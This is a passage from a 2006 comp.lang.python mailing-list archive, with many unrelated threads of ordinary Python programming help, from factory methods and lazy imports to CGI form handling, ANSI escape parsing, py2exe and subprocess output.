constructor and the main function), so obviously you know how to do that. so what's the problem here? why not just use the mechanisms you already know how to use? From onurb at xiludom.gro Tue Oct 24 10:44:14 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Tue, 24 Oct 2006 16:44:14 +0200 Subject: return same type of object In-Reply-To: References: Message-ID: <453e26bf$0$21879$426a74cc@news.free.fr> David Isaac wrote: > Instances of MyClass have a method that > returns another instance. This is usually known as a 'factory method'. > Ignoring the details > of why I might wish to do this, I could > return MyClass() > or > return self.__class__() > > I like that latter better. Should I? You do realise that both solutions are *not* strictky equilavent, do you? class PsychoRigid(object): def create(self): return PsychoRigid() class PsychoRigidChild(PsychoRigid): pass pr1 = PsychoRigidChild() pr2 = pr1.create() print "pr2 is a ", type(pr2) class Virtual(object): def create(self): return self.__class__() class VirtualChild(Virtual): pass vc1 = VirtualChild() vc2 = vc1.create() print "vc2 is a ", type(vc2) My 2 cents... -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From Larry Bates Mon Oct 23 15:13:36 2006 From: Larry Bates (Larry Bates) Date: Mon, 23 Oct 2006 14:13:36 -0500 Subject: Getting a lot of SPAM from this list Message-ID: I'm getting a lot of spam to the email address I use to post to this list. Since this email address doesn't appear elsewhere, I know that people are scanning this list to get the email address and spam me. Does anyone have a suggestion as to a way that I can get less of this spam? I could have another email address, but that won't help as I'd still get the spam and have to wade through it. I'm running spamassassin, but it isn't catching all that much of it. Any suggestions would be greatly appreciated. Regards, Larry Bates From andrea.gavana at gmail.com Tue Oct 17 04:34:42 2006 From: andrea.gavana at gmail.com (Andrea Gavana) Date: Tue, 17 Oct 2006 09:34:42 +0100 Subject: Numpy-f2py troubles Message-ID: Hello NG, I am using the latest Numpy release 1.0rc2 which includes F2PY. I have switched to Python 2.5 so this is the only alternative I have (IIUC). With Python 2.4, I was able to build a very simple fortran extension without problems. My extension contains 4 subroutines that scan a file and do simple operations. Now, attempting to run the second subroutine as: dprops, dwgnames, dunits = readsmspec.readsmspec(smspec, dimens) Prompt a ValueError from Python: File "D:\MyProjects\Carolina\MainPanel.py", line 894, in ReadSMSPECFile dprops, dwgnames, dunits = readsmspec.readsmspec(smspec, dimens) ValueError: data type must provide an itemsize ?!? I have never seen anything like that and googling around didn't give me any answer. The function accepts two inputs: - smspec: a filename, maximum 1000 characters long - dimens: an integer and returns 3 array of chars, each of them with size (8, dimens). Does anyone know what I may be doing wrong? Thank you very much for every pointer. -- Andrea. "Imagination Is The Only Weapon In The War Against Reality." http://xoomer.virgilio.it/infinity77/ From g.brandl-nospam at gmx.net Fri Oct 6 13:09:55 2006 From: g.brandl-nospam at gmx.net (Georg Brandl) Date: Fri, 06 Oct 2006 19:09:55 +0200 Subject: Automatic import PEP In-Reply-To: <1160151531.628593.230160@m73g2000cwd.googlegroups.com> References: <1160151531.628593.230160@m73g2000cwd.googlegroups.com> Message-ID: Dan Bishop wrote: > On Sep 22, 10:09 pm, Connelly Barnes wrote: >> Hi, >> >> I wrote the 'autoimp' module [1], which allows you to import lazy modules: >> >> from autoimp import * (Import lazy wrapper objects around all modules; "lazy >> modules" will turn into normal modules when an attribute >> is first accessed with getattr()). >> from autoimp import A, B (Import specific lazy module wrapper objects). >> >> The main point of autoimp is to make usage of the interactive Python prompt >> more productive by including "from autoimp import *" in the PYTHONSTARTUP file. > > And it does. Gets rid of "oops, I forgot to import that module" > moments without cluttering my $PYTHONSTARTUP file with imports. +1. > > My only complaint is that it breaks globals(). And startup takes quite long the first time, because a list of all available modules must be gathered. To work around that, one can either use a special importing "lib" object, defined like that: class _lib: def __getattr__(self, name): return __import__(name) lib = _lib() or modify the globals() to automatically look up modules on KeyError, like this (put into PYTHONSTARTUP file): import sys, code class LazyImpDict(dict): def __getitem__(self, name): try: return dict.__getitem__(self, name) except KeyError: exc = sys.exc_info() try: return __import__(name) except ImportError: raise exc[0], exc[1], exc[2] d = LazyImpDict() code.interact(banner='', local=d) sys.exit() Of course, this is not perfect as it may break quite a lot of things, I haven't tested it thoroughly. Georg From michele.simionato at gmail.com Wed Oct 18 04:33:59 2006 From: michele.simionato at gmail.com (Michele Simionato) Date: 18 Oct 2006 01:33:59 -0700 Subject: creating many similar properties In-Reply-To: <1161160057.392965.323330@m73g2000cwd.googlegroups.com> References: <1161153829.566566.73960@b28g2000cwb.googlegroups.com> <1161158181.103138.294330@b28g2000cwb.googlegroups.com> <1161160057.392965.323330@m73g2000cwd.googlegroups.com> Message-ID: <1161160436.888246.21020@m73g2000cwd.googlegroups.com> Carl Banks wrote: > Devil's Advocate: he did say "hidden magic TO YOUR CLASS". > > If you use a (real) metaclass, then you have the icky feeling of a > class permanently tainted by the unclean metaclass (even though the > metaclass does nothing other than touch the class dict upon creation); > whereas if you use Michele Simionato's hack, the icky feeling of using > a stack frame object goes away after the property is created: you are > left with a clean untainted class. Yep, exactly. > Personally, the former doesn't make me feel icky at all. Please, do this experiment: take all classes defined in the Python standard library and add to them a custom do-nothing metaclass. See what happens. Michele Simionato From bignose+hates-spam at benfinney.id.au Thu Oct 5 18:18:01 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Fri, 06 Oct 2006 08:18:01 +1000 Subject: What value should be passed to make a function use the default argument value? References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> <7xwt7gqwb3.fsf@ruckus.brouhaha.com> <7xac4cpefr.fsf@ruckus.brouhaha.com> <7xhcyk2u1z.fsf@ruckus.brouhaha.com> <7.0.1.0.0.20061005153148.05a4a350@yahoo.com.ar> Message-ID: <87zmcacspy.fsf@benfinney.id.au> Fredrik Lundh writes: > Gabriel Genellina wrote: > > >> > the general rule is that if the documentation doesn't > >> > explicitly say that something is a keyword argument, it isn't, > >> > and shouldn't be treated as such. > > you guys need to look up the words "should" and "not" in a dictionary. Perhaps you meant something other than "if the documentation doesn't explicitly say that something is a keyword argument, it isn't", then. -- \ "If I ever get real rich, I hope I'm not real mean to poor | `\ people, like I am now." -- Jack Handey | _o__) | Ben Finney From http Sun Oct 8 17:45:29 2006 From: http (Paul Rubin) Date: 08 Oct 2006 14:45:29 -0700 Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <1160172267.566568.79030@m7g2000cwm.googlegroups.com> <452966A2.1090107@v.loewis.de> Message-ID: <7x64eu4h3a.fsf@ruckus.brouhaha.com> skip at pobox.com writes: > Which is something SourceForge has yet to learn. At work we use a system > called RT (http://www.bestpractical.com/rt/). While it's not perfect, it > does allow submissions and responses via email. That feature alone puts it > miles ahead of SF in my mind. I'm on the other side--I think spam has destroyed the usefulness of email as a communications medium and I don't want to depend on anything having to do with email any more. I hate the way SF requires registering an email address and then it emails you every update to your SF issues. As a low-intensity user, I sort of tolerate it. But if I used SF more, I'd have to direct all the SF email to a spam bucket and never look at it. At most I'd want it to send about one email per week. But I'd much rather have a personalized RSS feed that delivers updates about the bugs that I'm following. I also notice that the PyPy mailing list now delivers mostly spam, so I've had to direct that to a spam bucket. From jcd at sdf.lonestar.org Tue Oct 24 17:29:48 2006 From: jcd at sdf.lonestar.org (J. Clifford Dyer) Date: Tue, 24 Oct 2006 15:29:48 -0600 Subject: Simple python + html + from --> to python script References: <1161722017.705987.78760@m7g2000cwm.googlegroups.com> <1161724741.888254.321030@m73g2000cwd.googlegroups.com> Message-ID: A good starting place would be the documentation on python.org. In this case, the python library reference would have been helpful: http://docs.python.org/lib/lib.html Cheers, Cliff flit wrote: > Man.... > Very thanks... > I really try to find some source of good and simple and nothing.. > Many thanks you are a great help! > > Steve Holden wrote: >> flit wrote: >>> Hello All, >>> >>> I am trying to get information from a form and send it to a python >>> script without success.. >>> Here is my objective: >>> >>> User enters data in form --> form send variables to python script --> >>> script runs and output result. >>> >>> the form code >>> >>>
Entre com >>> os dados
>>> >>> Entre com os dados
>>> Vai magraum >>> >>> In my script.py >>> >>> What I should have to print >>> something like >>> >>> Hello the data1 + data 2 = .... >>> >>> ? >>> >>> Maybe I am stumbling in something very simple, but I cannot find some >>> working example, and I am totally confused... >>> Thanks in advance >>> >> Untested, without error checking. Caveat emptor: >> >> import cgi >> import cgitb; cgitb.enable() # optional error handling >> >> form = cgi.FieldStorage() >> >> d1 = form["data1"].value >> d2 = form["data2"].value >> >> print """\ >> Content-type: text/plain >> >> Hello: the data were: %s and %s""" % (d1, d2) >> >> regards >> Steve >> -- >> Steve Holden +44 150 684 7255 +1 800 494 3119 >> Holden Web LLC/Ltd http://www.holdenweb.com >> Skype: holdenweb http://holdenweb.blogspot.com >> Recent Ramblings http://del.icio.us/steve.holden > From __peter__ at web.de Tue Oct 17 11:05:34 2006 From: __peter__ at web.de (Peter Otten) Date: Tue, 17 Oct 2006 17:05:34 +0200 Subject: Format a number as currency! I can't find any help on this simple problem. References: <1160537295.884864.162200@i3g2000cwc.googlegroups.com> <1161094565.268129.132600@f16g2000cwb.googlegroups.com> Message-ID: jr wrote: >> >>> import locale >> >>> locale.setlocale(locale.LC_ALL, 'English_United States.1252') >> 'English_United States.1252' > Just tried the first 2 commands on win XP, Python 2.5 under Idle. > An Error is raised: "unsupported locale setting" (lib/locale.py in > setlocale, line 476). > Actually I get the error also under Python 2.4.3 > Any idea what I'm missing? Let your machine decide >>> locale.setlocale(locale.LC_ALL, "") 'de_DE.UTF-8' or try something less specific: >>> locale.setlocale(locale.LC_ALL, "en_US") 'en_US' Peter From s99999999s2003 at yahoo.com Thu Oct 5 22:47:40 2006 From: s99999999s2003 at yahoo.com (s99999999s2003 at yahoo.com) Date: 5 Oct 2006 19:47:40 -0700 Subject: printing variables Message-ID: <1160102860.587127.240080@h48g2000cwc.googlegroups.com> hi say i have variables like these var1 = "blah" var2 = "blahblah" var3 = "blahblahblah" var4 = "...." var5 = "...".. bcos all the variable names start with "var", is there a way to conveniently print those variables out... eg print var* ?? i don't want to do : print var1, var2, var3, var4 ......etc... thanks From horpner at yahoo.com Tue Oct 24 11:02:15 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 24 Oct 2006 17:02:15 +0200 Subject: The format of filename References: Message-ID: On 2006-10-24, Fredrik Lundh wrote: > Neil Cerutti wrote: > >> Where can I find documentation of what Python accepts as the >> filename argument to the builtin function file? >> >> As an example, I'm aware (through osmosis?) that I can use '/' as >> a directory separator in filenames on both Unix and Dos. But >> where is this documented? > > in the documentation for your operating system. Python doesn't > do anything with the filenames. Is translation of '/' to '\\' a feature of Windows or Python? -- Neil Cerutti From cjw at sympatico.ca Mon Oct 2 07:56:58 2006 From: cjw at sympatico.ca (Colin J. Williams) Date: Mon, 02 Oct 2006 07:56:58 -0400 Subject: Python/UNO/OpenOffice? In-Reply-To: <78b3a9580609301049y6eef219cy18f89abc58b55e68@mail.gmail.com> References: <78b3a9580609301049y6eef219cy18f89abc58b55e68@mail.gmail.com> Message-ID: wesley chun wrote: > as others have said, that project provides a working interface to OOo > (OpenOffice 2 on Ubuntu Breezy and Dapper). i've made several posts > to this regard over the summer here on CLP. i was mostly using it to > "mess around" with documents in StarWriter. > > cheers, > -- wesley > - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - > "Core Python Programming", Prentice Hall, (c)2007,2001 > http://corepython.com > > wesley.j.chun :: wescpy-at-gmail.com > python training and technical consulting > cyberweb.consulting : silicon valley, ca > http://cyberwebconsulting.com I've done some small things with Python/OpenOffice, using Windows XP. They appear to work OK. It seems that there is only one person to maintain the Python interface and that there few users - no critical mass. I hope that this will change as OpenOffice is, with the exception of the Base component, a solid package. The base (database) component is evolving. Colin W. From sybrenUSE at YOURthirdtower.com.imagination Thu Oct 19 10:45:46 2006 From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel) Date: Thu, 19 Oct 2006 16:45:46 +0200 Subject: Classes and Functions - General Questions References: <1161200542.603408.94630@k70g2000cwa.googlegroups.com> <1161203230.765292.99380@f16g2000cwb.googlegroups.com> Message-ID: Setash enlightened us with: >> class1.py: >> >> class Class1(object): >> pass >> >> class2.py: >> import class1 This line imports class1.py and places its contents under the name "class1". > classes.py: > > class Class1 > pass > > class Class2(Class1) > pass That's correct. > or would I still need to call it as: > > class Class2(classes.Class1) > pass Nope, since the name "classes" is unknown. Sybren -- Sybren St??vel St??vel IT - http://www.stuvel.eu/ From knipknap at gmail.com Tue Oct 3 18:19:31 2006 From: knipknap at gmail.com (Samuel) Date: 3 Oct 2006 15:19:31 -0700 Subject: Instantiating an object when the type is only known at runtime In-Reply-To: References: <1159883162.906612.292870@c28g2000cwb.googlegroups.com> Message-ID: <1159913971.260327.270750@b28g2000cwb.googlegroups.com> Thanks, that's what I was looking for. > >>> m = __import__( "StringIO" ) > >>> x = getattr( m, "StringIO" )() > >>> x > > >>> For the records: If the module is already loaded, this also works: if my_type_is_not_yet_loaded: module = __import__(type) obj = getattr(module, type) else: obj = globals().get(type) resource = obj(my_arg1, my_arg2) Thanks again, -Samuel From vatamane at gmail.com Sun Oct 29 16:13:32 2006 From: vatamane at gmail.com (Nick Vatamaniuc) Date: 29 Oct 2006 13:13:32 -0800 Subject: Event driven server that wastes CPU when threaded doesn't References: <1162120762.477120.275320@e3g2000cwe.googlegroups.com> Message-ID: <1162156412.199341.315540@i42g2000cwa.googlegroups.com> Snor, The simplest solution is to change your system and put the DB on the same machine thus greatly reducing the time it takes for each DB query to complete (avoid the TCP stack completely). This way you might not have to change your application logic. If that is not an option, then you are faced with a problem of connecting a threaded programming model with an event based model (twisted and and such). So your job is to interface the two. In other words make the event based model see the threaded DB access as event based. And the DB driver to see the event-based system as threaded. So in your event dispatcher you could add events like db_request_finished then when a connection is requested to the DB, a callback will be supplied. The connection will take place in its own thread, then when it is finished it will put the db_request_finished and the respective callback function on the event queue. I am not sure how to integrate that into the Twisted event dispatcher... perhaps this class is the answer?: http://twistedmatrix.com/documents/current/api/twisted.python.dispatch.EventDispatcher.html Hope this helps, Nick V. Snor wrote: > I'm attempting to create a lobby & game server for a multiplayer game, > and have hit a problem early on with the server design. I am stuck > between using a threaded server, and using an event driven server. I've > been told time and time again that I should use an event driven server > design (that is, use twisted). > > There is a lot of interaction between the clients and they would often > need to write to the same list of values, which of course becomes a > problem with a threaded server - so event driven solves that problem, > and I assumed it would solve all my problems. However some requests > from clients would require that the server goes on to query a mySQL > server (separate machine from the server). As this occurs, there is a > small amount of lag while the communication with the mySQL server takes > place, and there could be another 100 clients waiting to make a request > at this point, meanwhile the server is idling while waiting for a > response from the mySQL server - obviously not a good server model. > > I will want the server to support as many users as is possible on any > given machine - and so wasted CPU cycles is something I am trying to > avoid. > > Is the only solution to use a threaded server to let my clients make > their requests and receive a response in the fastest possible time? From samnemo at gmail.com Mon Oct 23 15:06:46 2006 From: samnemo at gmail.com (samn) Date: 23 Oct 2006 12:06:46 -0700 Subject: python2.5 importerror on md5 Message-ID: <1161630406.102958.22270@i3g2000cwc.googlegroups.com> i compiled and installed the release version of python 2.5 for linux to a directory accessible to 2 computers, configured with --prefix=/usr/arch (which is accessible to both machines). the installation went fine and when i run python on one machine i can do from hashlib import * without a problem. on the other machine i get the following error: Traceback (most recent call last): File "", line 1, in File "/usr/arch/lib/python2.5/hashlib.py", line 104, in md5 = __get_builtin_constructor('md5') File "/usr/arch/lib/python2.5/hashlib.py", line 31, in __get_builtin_constructor import _md5 ImportError: No module named _md5 I have the file md5.py , md5.pyo , and md5.pyc in /usr/arch/lib/python2.5/ so I don't know why python is having a problem finding the md5 module... The sys.path is equal on both machines : ['', '/usr/arch/lib/python25.zip', '/usr/arch/lib/python2.5', '/usr/arch/lib/python2.5/plat-linux2', '/usr/arch/lib/python2.5/lib-tk', '/usr/arch/lib/python2.5/lib-dynload', '/usr/arch/lib/python2.5/site-packages', '/usr/arch/lib/python2.5/site-packages/gtk-2.0'] Here is the version info : Python 2.5 (r25:51908, Oct 23 2006, 13:38:11) [GCC 3.2.3 20030502 (Red Hat Linux 3.2.3-56)] on linux2 If anyone has encountered similar problems or knows of a way to fix/suggestions please let me know. Thanks in advance. Sam From nitte.sudhir at gmail.com Tue Oct 10 14:48:56 2006 From: nitte.sudhir at gmail.com (kath) Date: 10 Oct 2006 11:48:56 -0700 Subject: Is a list static when it's a class member? References: <1160505300.141637.40170@i3g2000cwc.googlegroups.com> Message-ID: <1160506136.347460.76030@m73g2000cwd.googlegroups.com> glue wrote: > I have a class with a list member and the list seems to behave like > it's static while other class members don't. The code... > > class A: > name = "" > data = [] > def __init__(self, name): > self.name = name > def append(self, info): > self.data.append(info) > def enum(self): > for x in self.data: > print "\t%s" % x > > a = A("A:") > print a.name > a.append("one") > a.append("two") > a.enum() > b = A("B:") > print b.name > b.append("horse") > b.append("bear") > b.enum() > print a.name > a.enum() > > The output... > >>> > A: > one > two > B: > one > two > horse > bear > A: > one > two > horse > bear > >>> > > How do i get: > A: > one > two > B: > horse > bear > A: > one > two > > Thanks, > > glue hi, try this, class A: def __init__(self, name): self.name = name self.data=[] # Define an array when you instantiate an object. def append(self, info): #self.data=[] self.data.append(info) def enum(self): for x in self.data: print "\t%s" % x a = A("A:") print a.name a.append("one") a.append("two") a.enum() b = A("B:") print b.name b.append("horse") b.append("bear") b.enum() print a.name a.enum() From anthra.norell at vtxmail.ch Mon Oct 23 15:16:44 2006 From: anthra.norell at vtxmail.ch (Frederic Rentsch) Date: Mon, 23 Oct 2006 21:16:44 +0200 Subject: Attempting to parse free-form ANSI text. In-Reply-To: <453CBC03.6090003@vtxmail.ch> References: <453CBC03.6090003@vtxmail.ch> Message-ID: <453D151C.8080905@vtxmail.ch> Frederic Rentsch wrote: > Paul McGuire wrote: > >> "Michael B. Trausch" <"mike$#at^&nospam!%trauschus"> wrote in message >> Sorry about the line wrap mess in the previous message. I try again with another setting: Frederic ###################################################################### The following code does everything Mike needs to do, except interact with wx. It is written to run standing alone. To incorporate it in Mike's class the functions would be methods and the globals would be instance attributes. Running it does this: >>> chunk_1 = """This is a test string containing some ANSI sequences. Sequence 1 Valid code, invalid numbers: \x1b[10;12mEnd of sequence 1 Sequence 2 Not an 'm'-code: \x1b[30;4;77hEnd of sequence 2 Sequence 3 Color setting code: \x1b[30;45mEnd of sequence 3 Sequence 4 Parameter setting code: \x1b[7mEnd of sequence 4 Sequence 5 Color setting code spanning calls: \x1b[3""" >>> chunk_2 = """7;42mEnd of sequence 5 Sequence 6 Invalid code: \x1b[End of sequence 6 Sequence 7 A valid code at the end: \x1b[9m """ >>> init () >>> process_text (chunk_1) >>> process_text (chunk_2) >>> print output This is a test string containing some ANSI sequences. Sequence 1 Valid code, invalid numbers: >>!!!Ignoring unknown number 10!!!<< >>!!!Ignoring unknown number 1!!!<< End of sequence 1 Sequence 2 Not an 'm'-code: End of sequence 2 Sequence 3 Color setting code: >>setting foreground BLACK<< >>setting background MAGENTA<< End of sequence 3 Sequence 4 Parameter setting code: >>Calling parameter setting function 7<< End of sequence 4 Sequence 5 Color setting code spanning calls: >>setting foreground GREY<< >>setting background GREEN<< End of sequence 5 Sequence 6 Invalid code: nd of sequence 6 Sequence 7 A valid code at the end: >>Calling parameter setting function 9<< ################# def init (): # To add to AnsiTextCtrl.__init__ () import SE # SEL is less import overhead but doesn't have interactive development features (not needed in production versions) global output #-> For testing global Pre_Processor, digits_re, Colors, truncated_escape_hold # global -> instance attributes # Screening out all ansi escape sequences except those controlling color grit = '\n'.join (['(%d)=' % i for i in range (128,255)]) + ' (13)= ' # Makes 127 fixed expressions plus delete \r # Regular expression r'[\x80-\xff\r]' would work fine but is four times slower than 127 fixed expressions all_escapes = r'\x1b\[\d*(;\d*)*[A-Za-z]' color_escapes = r'\x1b\[\d*(;\d*)*m' Pre_Processor = SE.SE ('%s ~%s~= ~%s~==' % (grit, all_escapes, color_escapes)) # SEL.SEL for production # 'all_escapes' also matches what 'color_escapes' matches. With identical regular expression matches the last regex definitions applies. # Isolating digits. digits_re = re.compile ('\d+') # Color numbers to color names Colors = SE.SE (''' 30=BLACK 40=BLACK 31=RED 41=RED 32=GREEN 42=GREEN 33=YELLOW 43=YELLOW 34=BLUE 44=BLUE 35=MAGENTA 45=MAGENTA 36=CYAN 46=CYAN 37=GREY 47=GREY 39=GREY 49=BLACK ''') truncated_escape_hold = '' #-> self.truncated_escape_hold output = '' #-> For testing only # What follows replaces all others of Mike's methods def process_text (text): global output #-> For testing global truncated_escape_hold, digits_re, Pre_Processor, Colors purged_text = truncated_escape_hold + Pre_Processor (text) # Text is now clean except for color codes beginning with ESC ansi_controlled_sections = purged_text.split ('\x1b') # Each ansi_controlled_section starts with a color control, except the first one (leftmost split-off) if ansi_controlled_sections: #-> self.AppendText(ansi_controlled_sections [0]) #-> For real output += ansi_controlled_sections [0] #-> For testing #-> For testing for section in ansi_controlled_sections [1:]: if section == '': continue try: escape_ansi_controlled_section, data = section.split ('m', 1) except ValueError: # Truncated escape truncated_escape_hold = '\x1b' + section # Restore ESC removed by split ('\x1b') else: escapes = escape_ansi_controlled_section.split (';') for escape in escapes: try: number = digits_re.search (escape).group () except AttributeError: output += ' >>!!!Invalid number %s!!!<<< ' % escape #-> For testing continue _set_wx (number) #-> self.AppendText(data) #-> For real output += data #-> For testing def _set_wx (n): global output # For testing only global Colors int_n = int (n) if 0 <= int_n <= 9: #-> self._number_to_method (n)() #-> For real output += ' >>Calling parameter setting function %s<< ' % n #-> For testing return color = Colors (n) if color: if 30 <= int_n < 50: if 40 <= int_n: #-> self.AnsiBGColor = color #-> For real output += ' >>setting background %s<< ' % color #-> For testing else: #-> self.AnsiFGColor = color #-> For real output += ' >>setting foreground %s<< ' % color #-> For testing return output += ' >>!!!Ignoring unknown number %s!!!<< ' % n #-> For testing #-> For real requires this in addition: #-> #-> # Methods controlled by 'm' code 0 to 9: # Presumably 'm'? #-> #-> def _0 (self): #-> self.AnsiFGColor = 'GREY' #-> self.AnsiBGColor = 'BLACK' #-> self.AnsiFontSize = 9 #-> self.AnsiFontFamily = wx.FONTFAMILY_TELETYPE #-> self.AnsiFontStyle = wx.FONTSTYLE_NORMAL #-> self.AnsiFontWeight = wx.FONTWEIGHT_NORMAL #-> self.AnsiFontUnderline = False #-> #-> def _1 (self): self.AnsiFontWeight = wx.FONTWEIGHT_BOLD #-> def _2 (self): self.AnsiFontWeight = wx.FONTWEIGHT_LIGHT #-> def _3 (self): self.AnsiFontStyle = wx.FONTSTYLE_ITALIC #-> def _4 (self): self.AnsiFontUnderline = True #-> def _5 (self): pass #-> def _7 (self): self.AnsiFGColor, self.AnsiBGColor = self.AnsiBGColor, self.AnsiFGColor #-> def _8 (self): self.AnsiFGColor = self.AnsiBGColor #-> def _9 (self): pass #-> #-> #-> _number_to_method = { #-> '0' : _0, #-> '1' : _1, #-> '2' : _2, #-> '3' : _3, #-> '4' : _4, #-> '7' : _7, #-> '8' : _8, #-> '9' : _9, #-> } From tnleeuw at gmail.com Wed Oct 11 09:54:36 2006 From: tnleeuw at gmail.com (Tim N. van der Leeuw) Date: 11 Oct 2006 06:54:36 -0700 Subject: Experiences with Py2Exe In-Reply-To: <1160574156.861514.327390@i42g2000cwa.googlegroups.com> References: <1160574156.861514.327390@i42g2000cwa.googlegroups.com> Message-ID: <1160574864.376655.60910@i42g2000cwa.googlegroups.com> Hi Isaac, Isaac Rodriguez wrote: > Hi, > > I am looking for feedback from people that has used or still uses > Py2Exe. I love to program in python, and I would like to use it to > write support tools for our development team, but I cannot require > everyone to install python in their machines, so I was thinking that > Py2Exe would help on that. > > The support tools I write are mostly command line driven (no GUI), but > in the future, I would like to write some expert applications that will > contain GUI. I was thinking on using wxPython for the GUI, so I was > wondering how well behaves Py2Exe with the wxPython module. > My experiences with Py2Exe and wxPython are very good. In fact, the samples included with Py2Exe include some wxPython samples. It's also possible to get PyGTK working with Py2exe, but it's a bit more convoluted. However, the examples on the PyGTK and esp. Py2exe websites should get you there. What was more difficult was Amara, but with some tweaking even that eventually worked. I have no experience with CTypes, so I can only assume that it will work... p4.py might be more reason to worry but you'd have to ask around or try. PythonWin was painless, no issues at all getting pythonwin/com etc. stuff to work. > Other modules I use besides the standard modules are CTypes and the > Perforce python module p4.py. I try not to use any of the win32 stuff, > but I can see how I will have to for some utilitites, so if anyone has > experience with the win32 modules and Py2Exe, any feedback will be > highly appreciated. > > Thanks, > > Isaac. From jeff at taupro.com Sat Oct 7 17:46:24 2006 From: jeff at taupro.com (Jeff Rush) Date: Sat, 07 Oct 2006 16:46:24 -0500 Subject: Reminder re Talk Proposals for PyCon 2007 Message-ID: <45282030.8090401@taupro.com> October has arrived and the deadline for submitting a proposal to give a talk at PyCon 2007 is October 31 (November 15 for tutorials). While it is a PyCon tradition to wait until the last minute to flood us with submissions, I would like to encourage presenters to start a bit earlier this year. We have a new talk (not tutorial) submissions system which lets you interact with your proposal online, rather than a fire-and-forget one-chance-to-get-it-right approach. You'll need to create a user account at: http://us.pycon.org/apps07/proposals/ Then you can post, revise and exchange a few comments with the proposal reviewers, which can be useful to clarify your talk focus. And it would be a great show of support, and relieve some stress of the organizers, if those who are even considering giving a talk would create a user account in the system. You can still change your mind, but even a skeletal proposal that you're pondering giving a talk about XYZ and you're still working up your outline would be welcome. It would help us in planning topic coverage and whether we are reaching certain sectors of the Python community. PyCon is community-run and we need the involvement of everyone. If you didn't get the talks at previous PyCons you wanted, this is the chance for you to make your wishes know. If you can't give a talk, badger (nicely) members of the relevant technical group to step forward. Ask for a talk in your forums. We have a wiki page of topic idea at: http://us.pycon.org/TX2007/TalkIdeas so add a link and create a subpage that contains the outline of your dream talk, and then shop it around to find a speaker to give it. ;-) Jeff Rush PyCon 2007 Co-Chair --- Python: Produce impressive results and have fun too! From ask at me Thu Oct 26 07:16:34 2006 From: ask at me (alf) Date: Thu, 26 Oct 2006 07:16:34 -0400 Subject: subprocess-how to suppress the stdout Message-ID: Hi, I use subprocess to execute another program but need to suppress its stdout. I can achieve it by using Popen(...,stdout=subprocess.PIPE,...) but wonder where the all stdout actually goes. Is it buffered (to eventually fill up)or just discarded? Or there is a better solution ... Thx, alf From claus.tondering at gmail.com Mon Oct 9 05:08:39 2006 From: claus.tondering at gmail.com (Claus Tondering) Date: 9 Oct 2006 02:08:39 -0700 Subject: Tkinter: Making a window disappear In-Reply-To: <1160384553.312778.275170@b28g2000cwb.googlegroups.com> References: <1160384553.312778.275170@b28g2000cwb.googlegroups.com> Message-ID: <1160384919.725322.112860@k70g2000cwa.googlegroups.com> I just solved the problem myself: I wrote: > self.destroy() Writing "self.master.destroy()" instead does the trick. Sorry for the inconvenience. -- Claus Tondering From makerjoe at gmail.com Mon Oct 23 21:22:26 2006 From: makerjoe at gmail.com (makerjoe) Date: 23 Oct 2006 18:22:26 -0700 Subject: pytho servlet engine Message-ID: <1161652946.506350.207550@b28g2000cwb.googlegroups.com> hi, all i would like to know which is the best PSE i have to choose to use servlets with mod_python in my HRYDROGEN project (http://makerjoe.sytes.net/pycrud/query.psp) thanks in advance makerjoe From roy at panix.com Wed Oct 25 20:20:15 2006 From: roy at panix.com (Roy Smith) Date: Wed, 25 Oct 2006 20:20:15 -0400 Subject: cleaner way to write this? References: Message-ID: In article , Ben Finney wrote: > John Salerno writes: > > > if dlg.ShowModal() == wx.ID_OK: > > db_name = dlg.GetValue() > > dlg.Destroy() > > return db_name > > else: > > dlg.Destroy() > > return > > It's for reasons like this that I prefer to have only one 'return' > from my functions. > > db_name = None > if dlg.ShowModal() == wx.ID_OK: > db_name = dlg.GetValue() > dlg.Destroy() > return db_name Isn't this the kind of thing that the new-fangled "with" statement is supposed to solve? def create_db_name(self): with wx.TextEntryDialog(self.frame, 'Enter a database name:', 'Create New Database') as dlg: if dlg.ShowModal() == wx.ID_OK: db_name = dlg.GetValue() return db_name else: return or something like that. The problem here is that it looks like dlg is expecting to have Destroy() called instead of just being destructed. Which, of course, is the problem that RAII is supposed to solve :-) From robert.kern at gmail.com Wed Oct 4 00:13:08 2006 From: robert.kern at gmail.com (Robert Kern) Date: Tue, 03 Oct 2006 23:13:08 -0500 Subject: A Universe Set In-Reply-To: <1159933937.606857.173770@k70g2000cwa.googlegroups.com> References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com> Message-ID: jordan.nick at gmail.com wrote: > Has the addition of a Universe Set object ever been suggested. Like U > = set(0), so that any object was a member of U? In [61]: class UniverseSet(object): ....: def __contains__(self, x): ....: return True ....: In [62]: U = UniverseSet() In [63]: 1 in U Out[63]: True In [64]: 2 in U Out[64]: True In [65]: 'something' in U Out[65]: True In [66]: U in U Out[66]: True -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From kadeko at gmail.com Fri Oct 13 16:31:34 2006 From: kadeko at gmail.com (looping) Date: 13 Oct 2006 13:31:34 -0700 Subject: Big speed boost in os.walk in Python 2.5 References: <1160731646.651573.37150@i42g2000cwa.googlegroups.com> Message-ID: <1160771494.611967.309090@i3g2000cwc.googlegroups.com> Fredrik Lundh wrote: > looping wrote: > > > > > Very nice, but somewhat strange... > > Is Python 2.4.3 os.walk buggy ??? > > > Why are you asking if something's buggy when you've already figured out > what's been improved? > You're right, buggy isn't the right word... Anyway thanks for your detailed informations and I'm very pleased with the performance improvement even if it's only a side effect and only on Windows. From georgeryoung at gmail.com Tue Oct 17 20:44:56 2006 From: georgeryoung at gmail.com (georgeryoung at gmail.com) Date: 17 Oct 2006 17:44:56 -0700 Subject: why should dict not be callable? In-Reply-To: References: <1161113146.541464.80890@i3g2000cwc.googlegroups.com> Message-ID: <1161132296.020776.270400@e3g2000cwe.googlegroups.com> On Oct 17, 3:37 pm, Fredrik Lundh wrote: > georgeryo... at gmail.com wrote: > > A couple of times recently I've come across this problem: I have a > > large list to sort and I need to the 